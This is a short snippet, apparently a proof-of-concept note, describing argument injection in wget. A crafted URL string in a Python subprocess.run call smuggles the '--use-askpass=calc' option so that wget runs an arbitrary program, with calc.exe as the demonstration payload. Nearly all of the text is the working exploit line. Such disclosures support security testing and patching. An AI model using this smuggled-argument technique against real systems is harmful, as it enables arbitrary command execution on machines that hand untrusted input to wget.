You are able to inject --use-askpass to execute arbitrary commands
--use-askpass
subprocess.run(['wget.exe', 'http://whatever/path" "--use-askpass=calc'])